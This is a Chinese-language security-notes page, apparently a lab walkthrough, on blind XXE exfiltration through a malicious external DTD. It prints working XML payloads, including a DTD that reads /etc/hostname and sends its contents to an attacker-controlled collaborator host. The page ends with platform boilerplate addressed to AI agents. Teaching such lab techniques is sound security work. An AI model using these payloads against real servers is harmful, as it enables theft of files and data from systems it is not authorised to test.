> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xxe/blind-xxe-exfiltration-via-external-dtd.md).

# 通过外部 DTD 的盲 XXE 外传

### 利用盲 XXE 通过恶意外部 DTD 外传数据

实验室：特性 **"检查库存"** 对 XML 进行分析但 **不会显示** 注入的内容（蓝色 XXE / OOB）。/ 观察到的行为：解析器接受链接到外部 DTD 的 DOCTYPE 语句，并向其发出请求。

静默提取本地服务器数据（例如 `/etc/hostname`）方法是强制 XML 解析器加载一个恶意外部 DTD，而该 DTD 本身会读取文件并触发一个指向我们控制服务器（collaborator / exploit server）的 HTTP(S) 请求，其中包含读取到的内容。

#### 发送到服务器的示例负载（包含外部 DTD 的初始调用）

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % myFile SYSTEM "https://2777wjy7kmh9uyirsd64t7zomfs6gw4l.oastify.com"> %myFile;]>
<stockCheck>
<productId>
2
</productId>
<storeId>
1
</storeId>
</stockCheck>
```

{% endcode %}

> 注意：这里外部 DTD 托管在我们的服务器（exploit server）上。为了使攻击生效，解析器必须获取它。

<figure><img src="/files/5ac1f64acc642c85ab39ae6e735c1c7525072e9f" alt=""><figcaption></figcaption></figure>

#### 放置在我们服务器上的恶意内容（外部 DTD）

exploit server 提供的 DTD 包含一些实体，它们会读取本地文件并构造一个经过求值的实体，该实体会触发向协作者发送包含外传内容的请求：

{% code overflow="wrap" %}

```xml
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'https://pibu769uv9sw5lte30hr4uabx23urkf9.oastify.com?content=%file;'>">
%eval;
%exfil;
```

{% endcode %}

简要说明：

* `%file`：读取 `file:///etc/hostname` 本地文件。
* `%eval`：动态构造一个新的 `exfil` 实体，其值是一个指向我们的数据外传服务器并包含 `%file` 内容作为 `内容` 参数进行利用。
* `%eval;` 和 `%exfil;` ，从而触发展开以及包含数据的外发 HTTP 查询。

#### 完整示例（攻击者对易受攻击应用的最终调用）

{% code overflow="wrap" %}

```xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % myFile SYSTEM "https://exploit-0a230088031451be8148386401b600f9.exploit-server.net/exploit"> %myFile;]>

<stockCheck>
<productId>
1
</productId>
<storeId>
1
</storeId>
</stockCheck>
```

{% endcode %}

* 外部 DTD 位于 `https://.../exploit` ，其中包含上述恶意 DTD 定义。
* 当解析器恢复并评估此 DTD 时，最终会向我们的数据外传服务器发起一个包含 `/etc/hostname` 内容的 HTTP 查询。

<figure><img src="/files/05aaa4db2a1395aa1bf2be7ab376e83c7749dce8" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/xxe/blind-xxe-exfiltration-via-external-dtd.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
